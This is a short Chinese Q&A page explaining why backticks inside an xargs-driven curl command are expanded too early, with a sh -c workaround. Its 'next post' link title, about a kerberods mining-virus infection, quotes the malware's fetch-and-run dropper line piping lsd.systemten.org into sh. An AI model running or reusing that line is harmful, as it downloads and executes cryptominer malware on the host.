linux – 在xargs中使用反引号的Bash命令

  echo $TMPLIST | xargs -I{} -n 1 -P $MAXJOBS curl -o {}_$DATESTRING.dump `get-temp-url --location {}`

$TMPLIST有一个我想要处理的位置列表.
我试图运行类似于上面的东西,但反引号内的括号不会扩展.我究竟做错了什么?

解决方法:

在这个命令中……

echo $TMPLIST | 
xargs -I{} -n 1 -P $MAXJOBS curl -o {}_$DATESTRING.dump \
  `get-temp-url --location {}`

……背壳由贝壳解释; xargs从未见过它们.你可以这样做:

echo $TMPLIST | 
xargs -I{} -n 1 -P $MAXJOBS \
  sh -c 'curl -o {}_$DATESTRING.dump `get-temp-url --location {}`'

请注意,为此,DATESTRING需要是环境变量,而不是shell变量(例如,您需要导出DATESTRING).

上一篇:linux – XARGS,GREP和GNU并行


下一篇:Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh